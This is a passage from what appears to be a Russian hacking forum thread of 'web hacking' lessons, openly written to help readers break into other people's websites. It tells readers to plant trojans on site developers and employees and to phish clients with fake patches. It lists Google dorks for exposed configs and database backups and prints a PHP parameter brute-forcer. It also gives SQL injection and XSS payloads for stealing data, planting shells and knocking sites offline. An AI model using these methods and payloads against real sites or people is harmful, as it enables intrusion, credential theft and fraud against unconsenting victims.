http://counter.yadro.ru/hit?t27.1;uhttp://target.com Если счетчиков нет, то можно попробовать определить кол-во трафика через AlexaRank. Это актуально для бурж сайтов. 8. Разработчики. Для успешного взлома, будет нелишним узнать кто создавал сайт. Методы относительно простые: 8.1. Смотрим футер сайта, ищем надпись, кровоточащую эгоизмом и завышенной самооценкой, что-то вроде "Элитарная студея разрабатывания сайтингов". Переходим на сайт, если линк активный, либо гуглим название. 8.2. Проверяем собранные беклинки. Есть ненулевой шанс, что изучаемый нами сайт находится в портфолио у какой-нибудь студии/фрилансера. 8.3. Проверяем мета-теги, комментарии. Ищем что-то в духе: <meta name="author" content="Petroff Studio"> или: <!-- super-site by artemka-diz.ru --> 8.4. Если прошлые способы не помогли, пробуем определить CMS сайта. Если нам повезло и на сайте явно используется что-то редкое и самописное, мы гуглим название CMS и пытаемся выйти на разработчика. Если сайт сделан на распространенном движке, то переходим к последнему способу. 8.5. Спросить владельца сайта. Ссым в уши, дескать, дизайн вашего сайта настолько великолепен, что мы не можем не спросить вас, кто же создал такое дивное чудо, достойное вершин поисковой выдачи и сотен тысяч WMZ. Нередки ситуации, когда создатель сайта == владелец сайта. Когда нам становится известно, кто являлся разработчиком сайта, у нас появляется несколько лазеек: Мы можем сделать заказ на разработку сайта (разумеется если CMS самописная) и получить исходники. Изучить их вдоль и поперек и найти все возможные дыры. Велик шанс, что в сайт вшит дефолтный пароль или бекдор. В процессе общения, разработчику легко пихнуть троян и получить доступ к сохраненным логинам/паролям и исходникам. Если общение с разработчиком неуместно или не дало результатов, мы будем ломать все сайты в портфолио (если это реально, разумеется). В случае успеха - скачиваем исходники и ищем уязвимости. И потом пробуем пароли со взломанного сайта к другим ресурсам в портфолио. Крайне эффективная методика. Если совсем ничего не получилось, информацию о разработчике можно использовать для атаки с использованием социальной инженерии. Рассылаем по клиентам "свежее обновление", "патч", "заплатку", просим предоставить логин/пасс. Я уверен вы придумаете что-нибудь поинтересней. 9. Контакты. Достаточно мельком взглянуть на сайт, чтобы найти контакты: Нас интересует все. Телефоны, e-mail, skype, icq, jabber, facebook, linkedin, формы обратной связи, фактический адрес (снимок Google Earth со спутника добавит нотку экзотики). Каждый из контактов - возможная зацепка, возможный способ взлома. 10. Сотрудники. Если на сайте есть список сотрудников, то все становится еще веселее - атака с применением социальной инженерии будет особенно эффективной. Собирайте всю информацию по сотрудникам - адреса, контакты, дни рождения, аккаунты соцсетей, фотографии с работы (можно найти очень интересные данные). Если работаете по буржу, можете воспользоваться сервисами поиска: pipl.com people-search сервисы people.yahoo.com address.com www.123people.com zabasearch.com wink.com publicpeoplefinder.com peoplefinders.com peoplelookup.com Обязательно ознакомьтесь с утилитой maltego - великолепная штука для сбора информации (хорошее описание есть тут - http://habrahabr.ru/post/73306/). Фактически, чем больше в конторе сотрудников, тем больше шансов, что найдется долбоеб, готовый запустить crober_priv8_bootkit.exe, предварительно отключив антивирус и файрволл (и взлом сайта будет лишь приятным дополнением). Хорошая иллюстрация вышесказанного: 11. Вакансии. Если фирма крупная, имеет смысл просматривать сайты с вакансиями. Рунет: http://www.job.ru/ http://www.avito.ru/ http://zarplata.ru/ http://www.superjob.ru/ http://rabota.ru/ и т.д. Бурж: http://www.job-hunt.org http://usa.jobs/ http://www.monster.co.uk/ накидать еще... Будет повод вступить в переписку, отправить троян или в конце концов устроиться на нормальную работу ("...и вынести все под ноль" (с) Не грози южному централу). Если вам повезло и вакансия IT-шного характера, можно выудить массу информации о настройках сервера, используемых фреймворках, получить тестовый доступ и т.д. 12 Конкурентная разведка. Она же бизнес-разведка или деловая разведка. Если очень вкратце, то конкурентная разведка - это сбор всей доступной о цели информации из открытых источников (то бишь этично и благородно). Если мы ломаем топовую фирму, работающую в высококонкурентной сфере, или крупную организацию (коммерческую, некоммерческую, государственную) то даже крупицы информации могут сыграть ключевую роль. Вместо тысячи слов - http://www.slideshare.net/SkillFactory/10-27807036 Разумеется, если цель - сайт вашей школы, то смело пропускайте этот пункт. Да и вообще, как вы до сюда дочитали? Тут нет ни читов, ни ддос-ботов, ни локеров... 13. Смотрим веб-архив. Заходим на интернет-архив(http://archive.org /web/): И смотрим, что было раньше с сайтом: Мы можем найти контакты, которые уже убрали с сайта, можем найти информацию об ошибках, узнать насколько давно меняли сайт. Если сайт не менялся очень давно, есть шанс, что система давно не патчилась, и у нас больше шансов найти уязвимости. Вообще очень полезный инструмент во всех отношениях. 14. Поисковые системы. Если вам нужно изучить контент сайта, но не хочется следить в логах, можно изучить сохраненной копией страницы (к примеру в Google, но это фича доступна и для других поисковиков). Мы также можем найти ошибки и многое-многое другое. Если вам не знаком термин Google-hacking, то вот вам блиц курс: 1. Читаем ман https://support.google.com/websearch/ 2. Используя полученные знания ищем инфу по всем операторам поиска Google. 3. Бонус. Гуглим про гугль-хакинг. Используем Google-хакинг супротив нашей цели: Поиск папок открытых на просмотр: site:target.com intitle:index.of Поиск файлов с настройками: site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini Поиск файлов с бекапами БД: site:target.com ext:sql | ext:dbf | ext:mdb Поиск файлов с логами: site:target.com ext:log Поиск бекапов: site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup Поиск админки: site:target.com inurl:login Поиск ошибок, говорящих о SQL-инъекциях: site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()" Поиск документов: site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv Поиск файла с phpinfo(): site:target.com ext:php intitle:phpinfo "published by the PHP Group" Еще больше дорков (дорк - это хитрый запрос для получения информации) тут - http://www.exploit-db.com/google-dorks/. Вообще в сссрнете по разному трактуют слово "dork", учитывая что простой перевод с английского дает черти-что ("мужлан", "придурок"), а судя из контекста, очень сложно дать единственно верную, точную формулировку. Также ищем упоминания о сайте/фирме/проекте в сети. Не забываем гуглить найденные ранее контакты - возможно получится узнать что-то новое о ресурсе, подготовить почву для атаки методами соц.инженерии. И не зацикливайтесь только на гугле, используйте все поисковики: Google Yandex Bing Yahoo Shodan (!!!) DuckDuckGo Shodan - весьма непривычный поисковик. Всю мощь его можно оценить, вбив в поиск "default password" или "nuclear". Ищет не по контенту сайтов, а по http-заголовкам, IP, баннерам сервисов на разных портах и т.д. К сожалению без регистрации можно делать не более 10 запросов (прокси никто не отменял) и выдача серьезно ограничена. С регистрацией - 50. 15. Проверка на virustotal/blacklist's. Вполне может быть, что раньше сайт/сервер ломали. И можно найти что-то интересное. Заходим на вирустотал: Выбираем "Найти". И вуаля: Все уже поломано до нас. Если кто-то смог, то и мы сможем) А может и шелл до сих пор не удалили и пароль стоит по умолчанию... Разумеется не стоит ограничиваться исключительно virustotal'ом. На этом все. Мы рассмотрели основные способы пассивного сбора информации (т.е. с минимальным взаимодействием с целью). Если исключить отправку писем с вопросами о хостинге или разработчиках, то мы можем собрать уйму информации, даже ни разу не заходя на исследуемый сайт и никак не контактируя с его владельцами! Вот до чего техника дошла!!! В следующей части мы уже вплотную займемся веб-приложением. © r00t Добавлено через 1 минуту 4 секунды ВЕБ-ХАКИНГ.Сбор информации [2]. Информации на прошлом этапе было собрано достаточно. Теперь мы будем активно работать с сайтом. Много следить в логах, использовать кул-хацкерские программы, сканерочки, парсерки и прочие веселые программки. Общая схема того, что мы будем делать на данном этапе такая: Ничего страшного, все довольно просто. Мы пойдем по списку: Определение CMS Определение тем, плагинов, модулей, компонентов Поиск уязвимостей в CMS и плагинах Сканирование директорий Краулер Обход mod_rewrite (и аналогов этого модуля) Сбор параметров (Get, Post, Cookie, Headers) Поиск и эксплуатацию уязвимостей оставим для следущих уроков, а пока мы занимаемся исключительно сбором информации. Активный сбор информации. 1. Определение CMS. Пробуем определить используемую CMS (или CMSки, ведь никто не запрещает использовать несколько CMS на одном домене). Если используется распространенный движок, то определить это можно с вероятностью в 99%. Если вам в лом самим определять CMS, можете воспользоваться сервисами: http://2ip.ru/cms/ http://itrack.ru/whatcms/ http://builtwith.com/ http://w3techs.com/sites Можно использовать плагин для браузера - wappalyzer. Очень удобно, сразу видно движок, язык, js-фреймворки и т.д.: Определяет больше двух сотен движков. Плагин не всегда работает точно. Например, попробуйте зайти с включенным плагином wappalayzer на эту страничку - /misc/crazywappalayzer.php Если вас интересует, как этот плагин определяет движки, посмотрите исходник: https://github.com/ElbertF/Wappalyze...let/js/apps.js Вы поймете, что анализируются: http-заголовки (в том числе cookie) meta-теги подключаемые скрипты (<script src='blabla'>) пути к файлам (картинкам, таблицам стилей и т.д.) комментарии в html-коде прочее (по регуляркам) в html-коде ("Powered by ...", "MegaSuperCMS") URL (/index.php?showtopic=666 - явно сатанинский форум, /?p=1488 - нс-бложик) Для точного определения CMS нужно также проверять: robots.txt - в данном текстовике указаны папки и файлы которые нужно/не нужно индексировать. Файл либо лежит в корне сайта, либо его вообще нет. Выглядит примерно так: Наметанный глаз мигом определит WordPress. Ненаметанный метнется по адресу /wp-login.php и опять таки определит WordPress. Админ-панель - Определить адрес админки можно внимательно изучив файл robots.txt или проверив все распространенные пути к админкам (руками или софтом - об этом чуть далее). К примеру, вход в админку Joomla!: Joomla. http://target.com/administrator WordPress. http://target.com/wp-admin/ Drupal. http://target.com/user DLE. http://target.com/admin.php Любая другая CMS - http://google.com/?q=найти+админку+cmsname Файлы и Папки. CMS можно определить по наличию/отсутствию некоторых файлов и папок. Например, в большинстве CMS есть файлы с названиями типа Changelog.htm, readme.txt, config.example и подобными. Скачиваем распространенные движки, изучаем структуру файлов и папок, пробуем найти интересные файлы/папки на изучаемом сайте. Таким способом можно очень точно определить используемый движок и его версию. Просто потренируйтесь - устанавливайте разные движки, ставьте разные шаблоны, плагины. После небольшой практики, вы сможете определять движок взглянув одним (прищуренным) глазом на главную страницу. В результате, после выполнения всех вышеописанных проверок, возможны 3 варианта: CMS определена, исходники можно изучить. CMS определена, но нет возможности изучить исходники. CMS не определена. 2. Определение тем/плагинов/модулей/компонентов. Если мы работаем с одной из распространненых CMS, то мы можем проверить еще и модули/плаигны. Для этого можно быстренько набыдлокодить свой убер-скрипт либо воспользоваться существующим софтом (к примеру для скана плагинов WP): Разумеется, этот пункт относится только к популярным движкам (wp, joomla, drupal и подобным), а не студийным поделкам сумрачных гениев. 3. Ищем уязвимости в CMS. Первым делом идем на bug-трекеры. Чекаем CMS на сайтах: http://1337day.com/ http://exploit-db.com/ http://securityfocus.com/ http://securiteam.com/ http://osvdb.org/ http://cxsecurity.com/exploit/ http://packetstormsecurity.com/files/tags/exploit/ http://cve.mitre.org/ Стоит особенно отметить 1337day (наследник милворма): И exploit-db: Если сплойт не пашет, то внимательно изучите исходник, есть шанс, что в сплойте допущена ошибка (по старой хэккерной традиции). Также очень часто бывает, что исходники движка нельзя найти, а сплойт под движок - легко. Если ничего в паблике не нашлось, идем на страницы разработчиков и внимательно читаем changelog. Какие ошибки были исправлены, когда, обязательно обращаем внимание на патчи связанные с безопасностью. 4. Сканер директорий. После того как мы узнали CMS (или не узнали), мы натравливаем на сайт сканер директорий - DirBuster. DirBuster многопоточен, кроссплатформенен, красив и умен. Скачать можно по ссылке - http://sourceforge.net/projects/dirbuster/. Благодаря сканеру директорий, мы можем найти: WYSIWIG-редакторы файловые менеджеры phpmyadmin (и аналоги) скрипты статистики старые версии скриптов (index.php.old и т.д.) бекапы многое другое Обыкновенно, сторонние скрипты подключают "as is", не беспокоясь о возможных уязвимостях. В общем никогда не забывайте пользоваться сканером директорий, даже если CMS определена и плагины успешно найдены. Может быть в забытой кодерами папке "/upload_old/new1/new11/new1111/old/upload.php" вас ждет форма заливки файлов без проверки на расширения и прочие условности. 5. Сбор параметров. После того как мы просканировали директории и файлы, необходимо узнать все точки входа. Образно говоря, если бы мы грабили квартиру, то сначала проверили бы все двери, окна, замки, затем выбрали самую уязвимую цель (открытая форточка, фанерная дверь, китайский замок), затем мы бы начали использовать отмычки(или другой инструмент), чтобы попасть внутрь. В хаке сайтов все то же самое - находим все точки входа в приложение (Get, post, cookie, заголовки приложения), затем ищем уязвимые параметры и пытаемся их экплуатировать (только если домушник пихает отмычки в замок, мы пихаем кавычки и скобки в формочки или строку браузера). Для автоматизированного сбора страниц прекрасно подойдет Burp Suite (шикарная утилита, с которой вы скоро не будете расставаться). Скачать burp-suite - http://portswigger.net/burp/ Справка по burp-suite - http://h4s-team.ru/bs/index/index.html В обязательном порядке установите и ознакомьтесь со справкой. Это настоящий швейцарский нож для веб-приложений. И одна из его возможностей как раз позволяет собрать все страницы и все формы с сайта: Запускаем спайдер, и он парсит все страницы со скоростью бешеной курицы, с горящими перьями. Но не стоит скидывать со счетов и ручной анализ. 6. Обход mod_rewrite. Сейчас все повернулись на всяких seo-фишках. И многие юзают mod_rewrite (и подобные вещи), что сделать из некрасивой ссылки вида: http://www.target.com/index.php?id=8...id=87&order=11 Получать такие ссылки: http://www.target.com/content/8787/ К счастью, у нас не будет возникать проблем со сбором Post и Сookie параметров. Итак, чтобы обойти ЧПУ (человеко-подобный урл) нам нужно: 1. Узнать имя скрипта. 2. Узнать параметры скрипта. 3. Узнать принимаемые параметром значения. Я бы конечно с радостью расписал все что нужно делать, но лучше всего написали тут - http://www.securitylab.ru/analytics/399778.php. Правда скрипт, упоминаемый в статье, уже удалили или перенесли. Но мы его заботливо сохранили для будущих поколений: Code: <?php// defines ini_set('max_execution_time', 0); $charset = Array( 'a','b','c','d','e', 'f','g','h','i','j', 'k','l','m','n','o', 'p','q','r','s','t', 'u','v','w','x','y', 'z','-','_'); $wordlist = Array(); $param_file = './params.txt'; $separator = '_'; $words = Array(); $maxlen = $_GET['length']; $def_length=0; $site = $_GET['url']; $count = 0; $type = $_GET['type']; $symbol = $_GET['sym']; $arr = $_GET['arr']; $max_len_of_url=2048; function getlen($site_check){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$site_check); curl_setopt($ch, CURLOPT_FAILonerror, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $length = strlen(curl_exec($ch)); curl_close($ch); return $length;} function check($site_check,$from,$to){ global $def_length,$words,$site,$symbol; $curr_len = getlen($site_check); if ($curr_len<>$def_length) { // пытаемся определить нужный нам символ echo '<b>[+] Find <a href='.$site_check.'>smth</a> Try to detect.</b><br>'; flush(); $site_1 = $site; $site_2 = $site; if ($to-1-$from > 0) { for ($i=$from;$i<=$to-1;$i++) { if ($i<=$from+(($to-$from)/2) - 1) {$site_1 .= $words[$i].(($arr==1)?'[]':'').'='.$symbol.'&';} else {$site_2 .= $words[$i].(($arr==1)?'[]':'').'='.$symbol.'&';} } check($site_1 ,$from,(int)($from+(($to-$from)/2))); check($site_2 ,(int)($from+(($to-$from)/2)),$to); flush(); } else { echo '<b>[+] Find! <a href='.$site_check.'>'.$site_check.'</a></b><br>'; } }} function recurse($width, $position, $base_string){ global $charset,$site_new,$site,$words,$count, $values,$type,$separator,$wordlist,$symbol,$max_len_of_url; for ($i = 0; $i < count($charset); ++$i) { // если длина сообщения меньше требуемой - берем символ и рекурсивно вызываем сами себя if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } // когда рекурсивные вызовы заканчиваются, возвращаемся на шаг назад по числу символов и выводим if (!in_array($base_string.$charset[$i],$values)) { $words[$count] = $base_string.$charset[$i].(($arr==1)?'[]':''); $count++; $site_new .= $base_string . $charset[$i].(($arr==1)?'[]':'').'='.$symbol.'&'; } if ((strlen($site_new)+strlen($base_string)+4)>$max_len_of_url) { check($site_new,0,$count);$site_new = $site;$count = 0; } } if (($position == 0) && ($site_new != $site)) {check($site_new,0,$count);}} if (empty($_GET['url']) || empty($_GET['length']) || empty($_GET['type']) || empty($_GET['sym'])) { echo '<b>[+] Use http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?url=<url>&type=<type of attack>&length=<max len>&sym=<parameter value><br> </b> <b> url examples:</b> <br/> http://site.com/index.php <br/> http://site.com/index.php?param=123 <br/> http://site.com/index.php?param=123%26param2=q <br/> <b> types of attack:<br/> </b> 1 - only bruteforce<br/> 2 - only wordlist<br/> 3 - word+separator+brute values<br/> &arr=1 - try [] postfix values<br/> </b>'; exit; } if (strpos($site,'?')>0) {$site=$site.'&';} else {$site=$site.'?';} $site_new = $site; // найдем все параметры preg_match_all("/[?&]?([^&?=]+)=([a-zA-Z0-9-_.%]+)&/", $site, $out, PREG_PATTERN_ORDER); $values = $out[1]; echo '<b>[+] Analyze <a href='.$site.'>'.$site.'</a></b><br>'; flush(); if ($type >=2) { $file = fopen($param_file,"r"); if(!file) { echo("<b>[+] Error: wordlist not exists - ".$param_file.'</b></br>'); } else { while ($wordlist[] = trim(fgets($file))) {} unset ($wordlist[count($wordlist)-1]); echo "<b>[+] Wordlist loaded...".count($wordlist)." words.</b><br/>"; } } // определим дефолтные значения $def_length = getlen($site); switch ($type) { case 1: recurse($maxlen, 0, ''); break; case 2: unset($charset); $charset[] = ''; for ($j = 0; $j < count($wordlist);$j++) { if (!in_array($wordlist[$j],$values)) { $words[$count] = $wordlist[$j].(($arr==1)?'[]':''); $count++; $site_new .= $wordlist[$j].(($arr==1)?'[]':'').'='.$symbol.'&'; } if ((strlen($site_new)+strlen($base_string)+4)>2048) { check($site_new,0,$count);$site_new = $site;$count = 0; //unset ($words); $words = array();// $words = array(); } } if ($site_new != $site) {check($site_new,0,$count);} break; case 3: if (!in_array('',$charset)) {$charset[count($charset)]='';} for ($j = 0; $j < count($wordlist);$j++) {recurse($maxlen, 0, $wordlist[$j].$separator);} break; } echo '<b>[+] Done</b><br>'; ?> Возможно, что сейчас информация про обход mod_rewrite кажется для вас лишней. Если будет нужно - вернетесь к данному материалу позже. А пока просто отметьте для себя, что можно успешно ломать сайты и с ЧПУ. В принципе со сбором информации мы закончили. Если на прошлом этапи мы собирали общую информацию, то тут мы занимались исключительно веб-приложением. Узнали CMS, модули, искали сплоиты, просканировали директории и файлы, собрали все точки входа. © r00t Добавлено через 40 секунд ВЕБ-ХАКИНГ.SQL-инъекции. Здравствуйте. Мы приступаем к изучению одной из самых распространенных веб-атак - SQL-инъекции. Введение. Что такое SQL-инъекция? Виды SQL-инъекций. Материалы по уязвимостям. Как можно использовать SQL-инъекции? Практика. Автоматизация. Введение. В данной статье будут дано достаточно материала, чтобы вы смогли уловить общую концепцию и продолжить изучение самостоятельно. Но прежде чем приступить к делу, я хотел бы акцентировать ваше внимание на одном важном моменте: Если вы до сих пор не разобрались с языком SQL, то дальнейшее чтение для вас бессмысленно. Поэтому как минимум прочтите эту книжку (Бен Форта - SQL. 10 минут на урок):Если вы до сих пор не разобрались с языком SQL, то дальнейшее чтение для вас бессмысленно. Это будет для вас полезнее в десятки раз, чем все сотню раз переписанные статьи со школо-хэко-форумов где учат копипастить URLы в Havij. Я думаю будет уместно дополнить, что чтение более серьезных книг по SQL и технической документации по конкретным СУБД будет еще полезнее, чем "10 минут на урок". Ну а теперь, когда меньшиство посетителей уже закрыло вкладку (большинство и не открывало), мы с вами перейдем к делу. Что такое SQL-инъекция? Существует два вида приложений. Первый вид - приложение, которое ведет себя именно так, как задумал программист. Второй - приложение, которое ведет себя не совсем так, как задумал программист. И вся суть SQL-инъекции (а также php-инъекций, xml-инъекций и т.д.) состоит в том, чтобы найти приложение второго вида и заставить его выполнить некоторое полезное нам действие, возможность которого не планировалась программистом. К примеру, есть некий скрипт articles.php. И туда методом Get передается значение параметра id. Кодер когда писал свое приложение думал примерно так: "Кроче, берем id из адресной строки. Пихаем иво в скуль-запрос. Если в базе есть такой id, то выводим страницу, которая к энтому Id прикручена, а ежеле нету, то тохда ибись оно в рот и ничово не выводем." Code: <?php//articles.php include("db_config");$id = $_GET['id'];$sql = "SELECT * FROM articles WHERE id = '$id' ";$result = mysql_query($query) or die(mysql_error());$row = mysql_fetch_array($result) or die("НИЧОВО НЕТУ!!!"); //... В зависимости от того, что мы будем передавать в параметр id, приложение будет возвращать разный результат. Но любой результат можно свести к одному из трех вариантов: Пустой ответ Нормальный ответ Ошибка Теперь давайте посмотрим, что получится, если мы будем пихать разные значения в параметр id: Очевидно, что в суровой действительности веб-приложение ведет себя не совсем так, как это представлялось кодеру в его влажных мечтах. И по сути, в последнем варианте параметр/значение мы уже провели небольшую SQL-инъекцию. Остается дело за малым - раскрутить эту самую инъекцию (попробовать вывести данные из бд, прочитать файлы, залить шелл и т.д.) Стоит сразу отметить 2 нюанса: [*]Если ошибки не выводятся, это совсем не значит, что в приложении нет SQL-инъекции. [*]Помните, что есть существенная разница между выводом ошибок от интерпретатора и выводом ошибок от СУБД. Если вы ни черта не поняли из того что было написано в этой части статьи - либо я очень херово все описал (и это ведь только начало!), либо вам надо учить матчасть. Виды SQL-инъекций. SQL-инъекции разделяют на множество видов 1) По типу переменной: Integer (целочисленная). Параметр не обрамлен кавычками: Code: SQL-инъекции разделяют на множество видов1) По типу переменной:Integer (целочисленная). Параметр не обрамлен кавычками: String (строковая). Параметр обрамлен кавычками: Code: SELECT * FROM articles WHERE id = ' $id ';SELECT * FROM `$articles` WHERE id = 123 ;SELECT * FROM articles WHERE id = " $id "; 2) По типу SQL-запроса и месту инъекции в запросе. В теории, инъекция может быть в абсолютно любом месте абсолютно любого SQL-запроса, если туда попадают недостаточно фильтруемые данные. Чаще всего инъекции находят в SELECT (отдельно выделяют инъекции после order by, потому как их реализация чуть сложнее), реже в UPDATE, INSERT, DELETE. Поэтому можно встретить разделение - Update based, Insert based и т.д. 3) Данные в SQL-запрос могут попадать через Get, Post, Cookie, HTTP заголовки (реферрер, юзерагент, или еще что-то, на что хватит фантазии у программиста). Также стоит отметить такой класс инъекций как Second order injection. Это когда данные попадают в SQL-запрос не напрямую от пользователя (get, post, cookie, http headers), а из БД, из файла, от самого Аллаха или еще из какого места куда мы могли ранее ввести данные. К примеру, есть форма регистрации (все очень условно): Code: <?php//Форма регистрации$username = mysql_real_escape_string($_POST['username']);$pass = mysql_real_escape_string($_POST['pass']);$sql = "INSERT INTO users (username, pass) VALUES ('$username','$pass') ";mysql_query($query) or die('Хакир, игрой в доту!'); Данные экранируются, SQL-инъекции нет. Далее, форма авторизации: Code: <?php//Форма аутентификации. Логин попадает в сессию$username = mysql_real_escape_string($_POST['username']);$pass = mysql_real_escape_string($_POST['pass']);$sql = "SELECT * FROM users WHERE username='$username' AND pass='$pass'";$result = mysql_query($query) or die('Хакир, учи уроке!');$row = mysql_fetch_row($result);$_SESSION['username'] = $row['username']; И наконец форма для смены пароля: Code: <?php//Форма смены пароля. $username=$_SESSION['username'];$password = mysql_real_escape_string($_POST['pass']);$new_pass = mysql_real_escape_string($_POST['new_pass']);$sql = "UPDATE users SET PASSWORD='$new_pass' where username='$username' and password='$password' ";$result = mysql_query($query) or die('Пативэн выехал...'); Тут тоже нет SQL-инъекции. Но! Если зарегистрировать пользователя с логином "admin' #", то можно сменить пароль для пользователя "admin", не зная его действующий пароль (проверьте на досуге). Это и будет Second order SQL-injection. 4) По типу SQL-инъекции: 4.1) Union-based. Инъекция в SELECT запросе, вывод данных из БД производится с помощью оператора UNION. Этот метод работает, когда веб-приложение напрямую возвращает результат вывода команды SELECT на страницу (поэтому без разницы, включен вывод ошибок или нет). http://example.com/?id=9999.9' union select 1,2,3,4,5,6,7 --+ В начале стоит 9999.9 (хотя могло быть и 0, -1 и т.д.) для того, чтобы первый запрос вернул пустой результат, а второй (уже внедренный нами), вернул то, что нам нужно. 4.2) Error-based (double query). Если использовать UNION не получается (нет колонки для вывода или инъекция в UPDATE, INSERT или DELETE), то можно вывести данные из базы искусственно вызывая ошибки. Например такой запрос: SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(user(), FLOOR(RAND(0)*2), 64) Вызовет ошибку, в отчете о которой мы увидим данные, которые нам были нужны: Duplicate entry 'root@localhost' for key 1 4.3) Blind-based (boolean based). Если данные нельзя вывести через union, а ошибки никак не выводятся, то скорее всего мы имеем дело со слепой инъекцией. Как вы помните, приложение может вернуть либо нормальный результат, либо пустой, либо ошибку. Ошибки в данном случае подавляются. Поэтому мы можем использовать только, что пустой ответ это false, а нормальный ответ - true. И это только чтобы узнать, что первый символ в имени пользователя базы данных это "r" (114 это ascii-код этого символа). 4.4) Time-based (double blind). А теперь представьте, что SQL-инъекция есть, но результат отдаваемый веб-приложением, не меняется вообще никак. Нельзя как-то выделить, что будет false, а что будет true? Что делать тогда? Использовать временные задержки. Там где будет True, сервак будет тупить 10 секунд, прежде чем вернуть страницу. В остальном все идентично обычным слепым (boolean based) инъекциям. Чтобы как-то уложилось в голове (вывод ошибок - от СУБД!): Теперь, по мере изучения дальнейших материалов, вы, надеюсь, не будете путаться в классификации инъекций. Если что-то было непонятно, вы с легкостью восполните пробелы в знаниях, изучив соответствующие материалы. Материалы: SQL. http://rutracker.org/forum/viewtopic.php?t=4621035 http://rutracker.org/forum/viewtopic.php?t=129425 Lynn Beighley. Head first SQL Алан Бьюли. Изучаем SQL http://dev.mysql.com/doc/ https://msdn.microsoft.com/ru-ru/library/bb545450.aspx http://www.oracle.com/technetwork/ru...ion/index.html https://www.sqlite.org/docs.html http://postgresql.ru.net/manual/ SQL-инъекции https://rdot.org/forum/ https://rdot.org/forum/showthread.php?t=124 http://forum.antichat.ru/threadedpost3817395.html (1500 страниц практических примеров) http://www.securityidiots.com/Web-Pe...SQL-Injection/ PentestIT - SQL инъекции http://www.securitytube.net/tags/SQLi http://www.websec.ca/kb/sql_injection http://ptsecurity.ru/download/PT-dev...-Injection.pdf http://pentestmonkey.net/category/ch.../sql-injection http://www.sqlinjectionwiki.com/ http://sqligenerator.altervista.org/index.php (генератор ссылок на уязвимые ресурсы) Юрий Жуков. Основы веб-хакинга Justin Clarke. SQL injection. Attacks and Defense. Как можно использовать SQL-инъекции? Манипуляции с базой данных. В базе данных может быть что угодно. Если у нас есть возможность читать данные из бд, мы можем узнать много интересного: Логины/пароли Почтовые ящики Кредитки и личные данные Токены (например для восстановления пароля) Переписки Скрытый контент Информация о заказах Цифровые товары Коды запуска ядерных боеголовок (вставьте свой вариант) А инъекция в INSERT, UPDATE или возможность конкатенации запросов позволит нам произвольно менять данные в БД. Сменить пароль, назначить нового администратора, отредактировать или удалить новость, изменить статус заказа или его сумму, изменить баланс на счете... Запись в файл/чтение файлов. Если звезды сложились удачно и у нас есть достаточно прав, известен абсолютный путь к файлам и не фильтруются кавычки, мы можем с легкостью залить шелл. Читать файлы можно даже при ограниченных правах. Например, можно прочесть из конфига логин/пароль от соединения с базой данных, и если повезет, подключиться напрямую. Если очень повезет - узнать пароль от фтп (в конфигах jooml'ы иногда хранится). SiXSS. Union based и Error based инъекции позволяют провести XSS атаку. Для этого, вместо вывода данных из таблицы, мы пишем необходимый нам js-код: ?id=-1' union select 1,2,3,4,5,<script>alert('xss');</script>,6,7,8 --+ По сути - это тоже самое, что и пассивная XSS (она же отраженная), т.к. вся нагрузка уже в самом запросе. Но в отличиии от обычной пассивки, она способна обойти защиту большинства браузеров (которые хавают обычные пассивки на раз-два): ?id=-1' union select 1,2,3,4,5,unhex('3c7363726970743e616c657274285c277 873735c27293b3c2f7363726970743e'),6,7,8 --+ Обход авторизации. Если уязвимость спряталась в форме авторизации, то вам не нужно будет знать пароль (а иногда и логин) для входа под учеткой другого пользователя/администратора. SQLi + Denial of Service. С помощью одного нехитрого запроса можно повалить сайт к ебени-матери (например используя вложенный Benchmark). Практика. Чтобы действительно вьехать в тему, недостаточно просто изучить теорию. Нужно обязательно практиковаться: [*]Ковырять заведомо уязвимые скрипты (DVWA, Mutillidae и подобные). [*]Разбирать эксплоиты. [*]Разбирать чужие взломы (отлично подойдут различные хак ресурсы). [*]Участвовать в конкурсах и CTF. Первые три я бы рекомендовал в первую очередь. 4 вариант для тех, кто уже уверен в своих силах. В ближайших статьях я планирую вернуться к теме тренировок в SQL-инъекциях и данный блок будет обновлен. Автоматизация. Частенько мелькают сообщения на андергрант-форумах, дескать илита не пользуется софтом, а раскручивает все ручками. Возможно где-то и есть уникумы, которые time based скулю раскручивает с секундомером в руках, в качестве браузера используют telnet на 80 порт, а md5 хеши брутфорсят с помощью калькулятора, карандаша и листа A4, но мы к такой илите не относимся (мы вообще к илите не относимся). Как я уже советовал вам ранее, поставьте Burp Suite. Хотя вы можете использовать любые другие отладочные прокси (Fiddler, Charles и т.д.), это уже скорее дело привычки, но Burp Suite все-таки заточен именно под поиск и эксплуатацию уязвимостей. Берем http-запрос, отправляем в Intruder, сразу смотрим результат. Шик же. Если говорить об автоматизации sql-инъекций, то тут две софтины впереди планеты всей. havij - утилита must have для школо-хеккера (а также сценарной детки). Многие из тех кто используют эту программу, не знают, как провести атаку, если уязвимый параметр передается Post'ом или в куках. И это при том, что есть вполне сносная справка на сайте. Любознательным товарищам будет полезно запустить havij через прокси (тот же burp suite или fiddler), чтобы увидеть и понять, как именно работает havij. Софт заточен под винду, имеет free и pro версию. "Крякнутые" версии практически всегда с чем-то склеены, и не обладают полным функционалом. Определенно, есть много объективных причин (и все на поверхности), почему софт так популярен в массах. Есть масса аналогов, Pangolin, SQLi-helper и других, которые даже до havij не всегда дотягивают. Те же яйца, вид сбоку. sqlmap - на сегодняшний день, это лучший софт, для автоматизации SQL-инъекций. Любой пацык на районе подтвердит. Правда, нужно установить питон. И программа консольная (хотя и GUI обертку легко найти). Но это тока шобы отпугивать всякую шерсть, которая не сечет фишку. Чтобы подтянуть знания по SQL-инъекциям, можно посмотреть 